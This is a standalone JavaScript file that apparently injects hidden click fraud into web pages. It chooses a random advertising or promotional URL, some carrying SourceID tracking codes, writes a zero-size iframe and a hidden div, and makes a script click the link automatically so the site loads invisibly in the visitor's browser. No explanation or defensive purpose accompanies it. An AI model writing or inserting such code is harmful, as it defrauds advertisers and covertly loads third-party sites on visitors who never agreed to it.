theclick = new Array();
total = 5;
theclick[1]="http://www.k6.cn/zt/fx/index.html?SourceID=691";
theclick[2]="http://www.k6.cn/zt/dt/index.html?SourceID=663";
theclick[3]="http://www.k6.cn/ZT/zxrj/zxrj.htm?SourceID=664";
theclick[4]="http://www.k6.cn/ZT/Fetal/fetal.html?SourceID=665";
theclick[5]="http://www.k6.cn/zt/fdl/index.html?SourceID=666";
idrandom = parseInt(Math.random() * total);
if (idrandom < 1 || idrandom > total) {
    idrandom = 1;
}
function getAdUrl(idrandom)
{
    u = theclick[idrandom];
    document.write("<iframe  width='0' height='0' src='' name='iframeid' id='iframeid'></iframe>");
    document.writeln("<div style=\"visibility:hidden\">");
    document.writeln(" <a id=\"acej\" href='" + u + "' onclick=\"document.getElementById(\'iframeid\').src=this.href; return false\">YourLinkText<\/a>");
    document.writeln(" <script> ");
    document.writeln("  var x=document.getElementById(\"acej\");");
    document.writeln("     x.onclick();");
    document.writeln(" <\/script>");
    document.writeln("<\/div>");
}
var chars = ['0', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];
function generateMixed(n)
{
    var res = "";
    for (var i = 0; i < n; i++) {
        var id = Math.ceil(Math.random() * 10);
        res += chars[id];
    }
    return res;
}
var num = generateMixed(4);
if (num < 20) {
    getAdUrl(idrandom);
}

theclick1 = new Array();
total1 = 4;
theclick1[1] ='http://www.88rolex.cn/?id=hq'; 
theclick1[2] ='http://biyan.jiaren.com/?id=hq';
theclick1[3] ='http://man.jiaren.com/ShengFa.asp?id=hq'; 
theclick1[4] ="";
idrandom1 = parseInt(Math.random() * total1);
if (idrandom1 < 1 || idrandom1 > total1) {
    idrandom1 = 1;
}
function getAdUrl1(idrandom1)
{
    u = theclick1[idrandom1];
    document.write("<iframe  width='0' height='0' src='' name='iframeid' id='iframeid'></iframe>");
    document.writeln("<div style=\"visibility:hidden\">");
    document.writeln(" <a id=\"acej\" href='" + u + "' onclick=\"document.getElementById(\'iframeid\').src=this.href; return false\">YourLinkText<\/a>");
    document.writeln(" <script> ");
    document.writeln("  var x=document.getElementById(\"acej\");");
    document.writeln("     x.onclick();");
    document.writeln(" <\/script>");
    document.writeln("<\/div>");
}
function generateMixed1(n)
{
    var res = "";
    for (var i = 0; i < n; i++) {
        var id = Math.ceil(Math.random() * 10);
        res += chars[id];
    }
    return res;
}
var num = generateMixed1(4);
if (num < 9) {
    getAdUrl1(idrandom1);
}